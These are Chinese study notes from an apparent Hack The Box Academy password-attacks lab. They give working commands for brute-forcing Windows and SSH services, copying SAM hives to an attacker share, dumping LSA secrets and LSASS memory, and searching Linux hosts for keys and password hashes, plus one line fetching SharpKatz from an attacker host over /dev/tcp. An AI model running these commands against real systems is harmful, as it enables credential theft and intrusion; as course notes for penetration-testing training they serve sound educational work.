在我们的渗透测试中,我们遇到的每一个计算机网络都将安装用于管理、编辑或创建内容的服务。所有这些服务都使用特定的权限托管,并分配给特定的用户
CrackMapExec
这里引入了一个新工具攻击各种基于windows的协议:
Tanin@htb[/htb]$ crackmapexec -h
optional arguments:
-h, --help show this help message and exit
-t THREADS set how many concurrent threads to use (default: 100)
--timeout TIMEOUT max timeout in seconds of each thread (default: None)
--jitter INTERVAL sets a random delay between each connection (default: None)
--darrell give Darrell a hand
--verbose enable verbose output
protocols:
available protocols
{mssql,smb,ssh,winrm}
mssql own stuff using MSSQL
smb own stuff using SMB
ssh own stuff using SSH
winrm own stuff using WINRM
针对某种协议的用法:
Tanin@htb[/htb]$ crackmapexec smb -h
通用的语法大致如下:
Tanin@htb[/htb]$ crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>
Evil-WinRM
这里还提到了一个专门针对WinRM的工具 Evil-WinRM
Tanin@htb[/htb]$ sudo gem install evil-winrm
基本用法:
Tanin@htb[/htb]$ evil-winrm -i <target-IP> -u <username> -p <password>
直接上练习:
practice
target:10.129.202.136
- 查找WinRM服务的用户并破解其密码。然后,当您登录时,您会在那里的一个文件中找到该标志。提交您找到的标志作为答案。
- 找到SSH服务的用户并破解他们的密码。然后,当您登录时,您会在那里的一个文件中找到该标志。提交您找到的标志作为答案。
- 找到RDP服务的用户并破解他们的密码。然后,当您登录时,您会在那里的一个文件中找到该标志。提交您找到的标志作为答案。
- 查找SMB服务的用户并破解他们的密码。然后,当您登录时,您会在那里的一个文件中找到该标志。提交您找到的标志作为答案。
这里纯属爆破比较无聊,而且vpn比较慢,直接学下一节吧。
Password Mutations
他给了一篇博客,是关于密码的WPengine
顺带再放一个hashcat的规则集方便查找:documentation
CeWL
我们现在可以使用另一个名为CeWL的工具来扫描公司网站上的潜在单词,并将其保存在单独的列表中。然后,我们可以将该列表与所需规则相结合,创建一个自定义的密码列表,该列表猜测正确密码的概率更高。我们指定了一些参数,如spider的深度(-d)、单词的最小长度(-m)、找到的单词的小写存储(–lower),以及我们想要存储结果的文件(-w)。
Tanin@htb[/htb]$ cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist
practice
使用本节右上角“资源”下ZIP文件中的文件创建一个变异单词列表。使用此单词列表可以强制爆破用户“sam”的密码。成功后,使用SSH登录并提交flag.txt文件的内容作为您的答案。
这里它给了一个文件里面有一个密码本和用户列表和一个规则集,上一题应该用这个文档能轻松爆破。。。
这里要做什么也很清楚,但是发现hydra不能直接使用-r了:
这里先用hashcat转换一下:
Tanin@htb[/htb]$ hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
hashcat
: 运行 Hashcat 密码破解工具。--force
: 强制进行破解,即忽略一些警告信息。password.list
: 这是包含要破解的密码列表的文件名,Hashcat 将从该文件中读取密码列表进行破解。-r custom.rule
: 使用规则文件custom.rule
对密码进行变换。规则文件定义了一系列的字符串转换规则,Hashcat 将应用这些规则来生成多个变换后的密码,并将其用于破解尝试。--stdout
: 将生成的所有变换后的密码输出到标准输出(即屏幕),而不是进行实际的破解尝试。|
: 管道符号,将前面命令的输出作为后面命令的输入。sort -u
: 对密码进行排序并去除重复的密码。> mut_password.list
: 将排序后去重的密码列表输出到名为mut_password.list
的文件中。
然后:
hydra -l sam -P mut_password.list ssh://10.129.202.64
==>
Password Reuse / Default Passwords
Credential Stuffing
他给出了一个默认凭据表: DefaultCreds-Cheat-Sheet
有时候由于接口服务等过多管理员选择复制粘贴默认密码而不是手动输入一个自定义密码
xxxxxxxxxx1 1victim@target:~$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exeshell-session
Windows Local Password Attacks
Attacking SAM
Copying SAM Registry Hives
如果我们在目标上有本地管理员访问权限,我们可以复制三个注册表配置单元;当我们开始倾倒和破解散列时,每一个都有特定的目的。以下是下表中每一项的简要说明:
Registry Hive | Description |
---|---|
hklm\sam |
包含与本地帐户密码关联的哈希。我们需要散列,这样我们就可以破解它们,并以明文形式获得用户帐户密码。 |
hklm\system |
包含用于加密SAM数据库的系统引导密钥。我们将需要引导密钥来解密SAM数据库。 |
hklm\security |
包含域帐户的缓存凭据。我们可能会从加入域的Windows目标中受益。 |
Using reg.exe save to Copy Registry Hives
以管理员身份启动CMD将允许我们运行reg.exe来保存上述注册表配置单元的副本。请运行以下命令执行此操作:
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.
要创建共享,我们所要做的就是使用python运行smbserver.py-smb2support,给共享一个名称(CompData),并指定攻击主机上共享将存储配置单元副本的目录(/home/ltnob/Documents)。要知道smb2support选项将确保支持较新版本的SMB。如果我们不使用此标志,从Windows目标连接到我们的攻击主机上托管的共享时将出现错误。较新版本的Windows默认不支持SMBv1,因为存在大量严重漏洞和公开漏洞。
一旦共享在我们的攻击主机上运行,我们就可以在Windows目标上使用move命令将配置单元副本移动到共享。
Moving Hive Copies to Share
C:\> move sam.save \\10.10.15.16\CompData
1 file(s) moved.
C:\> move security.save \\10.10.15.16\CompData
1 file(s) moved.
C:\> move system.save \\10.10.15.16\CompData
1 file(s) moved.
Dumping Hashes with Impacket’s secretsdump.py
使用secretsdump.py是一个简单的过程。我们所要做的就是使用Python运行secretsdump.py,然后指定从目标主机检索到的每个配置单元文件。
Tanin@htb[/htb]$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Remote Dumping & LSA Secrets Considerations
通过使用本地管理员权限访问凭据,我们也可以通过网络锁定LSA机密。这可以允许我们从正在运行的服务、计划任务或使用LSA机密存储密码的应用程序中提取凭据。
Dumping LSA Secrets Remotely
Tanin@htb[/htb]$ crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa
SMB 10.129.42.198 445 WS01 [*] Windows 10.0 Build 18362 x64 (name:FRONTDESK01) (domain:FRONTDESK01) (signing:False) (SMBv1:False)
SMB 10.129.42.198 445 WS01 [+] WS01\bob:HTB_@cademy_stdnt!(Pwn3d!)
SMB 10.129.42.198 445 WS01 [+] Dumping LSA secrets
SMB 10.129.42.198 445 WS01 WS01\worker:Hello123
SMB 10.129.42.198 445 WS01 dpapi_machinekey:0xc03a4a9b2c045e545543f3dcb9c181bb17d6bdce
dpapi_userkey:0x50b9fa0fd79452150111357308748f7ca101944a
SMB 10.129.42.198 445 WS01 NL$KM:e4fe184b25468118bf23f5a32ae836976ba492b3a432deb3911746b8ec63c451a70c1826e9145aa2f3421b98ed0cbd9a0c1a1befacb376c590fa7b56ca1b488b
SMB 10.129.42.198 445 WS01 [+] Dumped 3 LSA secrets to /home/bob/.cme/logs/FRONTDESK01_10.129.42.198_2022-02-07_155623.secrets and /home/bob/.cme/logs/FRONTDESK01_10.129.42.198_2022-02-07_155623.cached
Dumping SAM Remotely
Tanin@htb[/htb]$ crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam
practice
应用本节中教授的概念,获取目标上ITbackdoor用户帐户的密码。提交明文密码作为答案。
在目标上转储LSA机密并发现存储的凭据。提交用户名和密码作为答案。(格式:用户名:密码,区分大小写)
Attacking LSASS
除了获得SAM数据库的副本以转储和破解哈希之外,我们还将受益于针对LSASS。如本模块的凭据存储部分所述,LSASS是一项关键服务,在所有Windows操作系统中的凭据管理和身份验证过程中发挥着核心作用。
初次登录后,LSASS将: 在内存中本地缓存凭据 创建访问令牌 强制执行安全策略 写入Windows安全日志 让我们介绍一些可以用来转储LSASS内存和从运行Windows的目标中提取凭据的技术和工具。
Dumping LSASS Process Memory
与使用LSASS攻击SAM数据库的过程类似,我们最好首先通过生成内存转储来创建LSASS进程内存内容的副本。通过创建转储文件,我们可以使用攻击主机离线提取凭据。请记住,离线进行攻击使我们在攻击速度上具有更大的灵活性,并且在目标系统上花费的时间更少。我们可以使用无数种方法来创建内存转储。让我们介绍一下可以使用Windows内置工具执行的技术。
Task Manager Method
通过访问与目标的交互式图形会话,我们可以使用任务管理器创建内存转储。这就要求我们:
打开任务管理器>选择进程选项卡>查找并右键单击本地安全机构进程>选择创建转储文件
一个名为lsass.DMP的文件被创建并保存在:
C:\Users\loggedonusersdirectory\AppData\Local\Temp
Rundll32.exe & Comsvcs.dll Method
任务管理器方法依赖于我们与目标进行基于GUI的交互式会话。我们可以使用另一种方法,通过名为 rundll32.exe的命令行实用程序转储LSASS进程内存。这种方法比任务管理器方法更快,也更灵活,因为我们可能只需访问命令行就可以在Windows主机上获得shell会话。需要注意的是,现代反病毒工具将这种方法识别为恶意活动。 在发出创建转储文件的命令之前,我们必须确定为lsass.exe分配了哪个进程ID(PID)。这可以通过cmd或PowerShell完成:
Finding LSASS PID in cmd
C:\Windows\system32> tasklist /svc
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
Registry 96 N/A
smss.exe 344 N/A
csrss.exe 432 N/A
wininit.exe 508 N/A
csrss.exe 520 N/A
winlogon.exe 580 N/A
services.exe 652 N/A
lsass.exe 672 KeyIso, SamSs, VaultSvc
PS C:\Windows\system32> Get-Process lsass
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1260 21 4948 15396 2.56 672 0 lsass
Creating lsass.dmp using PowerShell
PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
Using Pypykatz to Extract Credentials
该命令启动使用pypykatz来解析LSASS进程内存转储中隐藏的机密。我们在命令中使用lsa,因为LSASS是本地安全机构的子系统,然后我们将数据源指定为小型转储文件,按照存储在攻击主机上的转储文件的路径(/home/peter/Documents/lass.dmp)进行。Pypykatz解析转储文件并输出结果:
Tanin@htb[/htb]$ pypykatz lsa minidump /home/peter/Documents/lsass.dmp
一些有用的凭据:
MSV是Windows中的一个身份验证包,LSA调用它来验证SAM数据库的登录尝试。Pypykatz提取了存储在LSASS进程内存中的与bob用户帐户的登录会话相关的SID、用户名、域,甚至NT&SHA1密码哈希。这将在本节末尾介绍的我们进攻的最后阶段证明是有帮助的。
WDIGEST是一种较旧的身份验证协议,默认情况下在Windows XP-Windows 8和Windows Server 2003-Windows Server 2012中启用。LSASS以明文形式缓存WDIGEST使用的凭据。这意味着,如果我们发现自己的目标是启用WDIGEST的Windows系统,我们很可能会看到明文形式的密码。现代Windows操作系统默认情况下已禁用WDIGEST。此外,需要注意的是,Microsoft发布了针对受此问题影响的系统的WDIGEST安全更新。我们可以在这里 here.研究安全更新的细节。
Kerberos是Active Directory在Windows域环境中使用的网络身份验证协议。域用户帐户在使用Active Directory进行身份验证时被授予票证。此票证用于允许用户访问网络上已被授予访问权限的共享资源,而无需每次键入凭据。LSASS缓存与Kerberos关联的密码、ekeys、票证和pin。可以从LSASS进程内存中提取这些,并使用它们访问加入同一域的其他系统。
==数据保护应用程序编程接口(DPAPI )是Windows操作系统中的一组API,用于在每个用户的基础上为Windows操作系统功能和各种第三方应用程序加密和解密DPAPI数据块。==
Credential Hunting in Linux
Files
我们应该逐一查找、查找和检查几类文件。这些类别如下:
Configuration files | Databases | Notes |
---|---|---|
Scripts | Cronjobs | SSH keys |
通常,配置文件标记有以下三个文件扩展名(.config、.conf、.cnf)。通过下面的方法,我们将看到我们的搜索减少到了这三个文件扩展名。
cry0l1t3@unixclient:~$ for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
Databases
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
Scripts
cry0l1t3@unixclient:~$ for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
SSH Keys
SSH密钥可以被视为用于公钥身份验证机制的SSH协议的“访问卡”。为客户端生成一个文件(私钥),为服务器生成一个相应的文件(公钥)。然而,这些并不相同,因此知道公钥不足以找到私钥。公钥可以验证由专用SSH密钥生成的签名,从而能够自动登录到服务器。即使未经授权的人获得了公钥,也几乎不可能从中计算出匹配的私钥。当使用私钥SSH连接到服务器时,服务器会检查私钥是否有效,并让客户端相应登录。因此,通过SSH连接不再需要密码。 由于SSH密钥可以任意命名,因此我们无法在它们中搜索特定的名称。然而,它们的格式允许我们唯一地识别它们,因为无论是公钥还是私钥,都有唯一的第一行来区分它们。
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
-r
: 递归地搜索目录及其子目录下的文件。-n
: 显示匹配行及其行号。-w
: 仅匹配完整单词,而不是部分匹配。"PRIVATE KEY"
: 要搜索的文本模式,即我们要找到包含的字符串。
History
所有历史文件都提供了有关当前和过去/历史过程的重要信息。我们对存储用户命令历史记录的文件和存储系统进程信息的日志感兴趣。 在使用Bash作为标准shell的Linux发行版上输入的命令的历史记录中,我们可以在.Bash_history中找到相关文件。然而,其他文件(如.bashrc或.Bash_profile)可能包含重要信息。
Bash History
tail -n5 /home/*/.bash*
Log File | Description |
---|---|
/var/log/messages |
Generic system activity logs. |
/var/log/syslog |
Generic system activity logs. |
/var/log/auth.log |
(Debian) All authentication related logs. |
/var/log/secure |
(RedHat/CentOS) All authentication related logs. |
/var/log/boot.log |
Booting information. |
/var/log/dmesg |
Hardware and drivers related information and logs. |
/var/log/kern.log |
Kernel related warnings, errors and logs. |
/var/log/faillog |
Failed login attempts. |
/var/log/cron |
Information related to cron jobs. |
/var/log/mail.log |
All mail server related logs. |
/var/log/httpd |
All Apache related logs. |
/var/log/mysqld.log |
All MySQL server related logs. |
Memory and Cache
有一个名为 mimipenguin的工具可以使整个过程变得更容易。但是,此工具需要管理员/root权限
我们可以使用的一个更强大的工具是LaZagne
Passwd, Shadow & Opasswd
Passwd Format
cry0l1t3 |
: |
x |
: |
1000 |
: |
1000 |
: |
cry0l1t3,,, |
: |
/home/cry0l1t3 |
: |
/bin/bash |
---|---|---|---|---|---|---|---|---|---|---|---|---|
Login name | Password info | UID | GUID | Full name/comments | Home directory |
Shadow Format
cry0l1t3 |
: |
$6$wBRzy$...SNIP...x9cDWUxW1 |
: |
18937 |
: |
0 |
: |
99999 |
: |
7 |
: |
: |
: |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Username | Encrypted password | Last PW change | Min. PW age | Max. PW age | Warning period | Inactivity period | Expiration date |
Cracking Linux Credentials
Unshadow
unshadow
: 这是一个系统管理工具,用于合并 /etc/passwd
和 /etc/shadow
文件,并输出未加密的密码哈希值。
Tanin@htb[/htb]$ sudo cp /etc/passwd /tmp/passwd.bak
Tanin@htb[/htb]$ sudo cp /etc/shadow /tmp/shadow.bak
Tanin@htb[/htb]$ unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes